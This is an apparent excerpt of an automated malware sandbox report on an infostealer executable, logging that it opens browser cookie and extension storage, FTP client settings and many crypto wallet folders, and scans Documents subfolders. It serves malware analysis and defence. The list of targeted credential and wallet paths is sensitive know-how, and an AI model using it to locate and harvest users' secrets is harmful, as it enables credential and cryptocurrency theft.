Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\VAMYDFPUND	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\VAMYDFPUND	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\VAMYDFPUND	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\VAMYDFPUND	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\VAMYDFPUND	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\VAMYDFPUND	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\VAMYDFPUND	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\VAMYDFPUND	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\VAMYDFPUND	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\VAMYDFPUND
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\VAMYDFPUND
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\ONBQCLYSPU
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\VAMYDFPUND
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\MXPXCVPDVN
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\NWTVCDUMOB
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\RAYHIWGKDI
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\UMMBDNEQBN
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents\VLZDGUKUTZ
Source: C:\Users\user\AppData\Local\Temp\1000349001\ea2c7beae0.exe	Directory queried: C:\Users\user\Documents
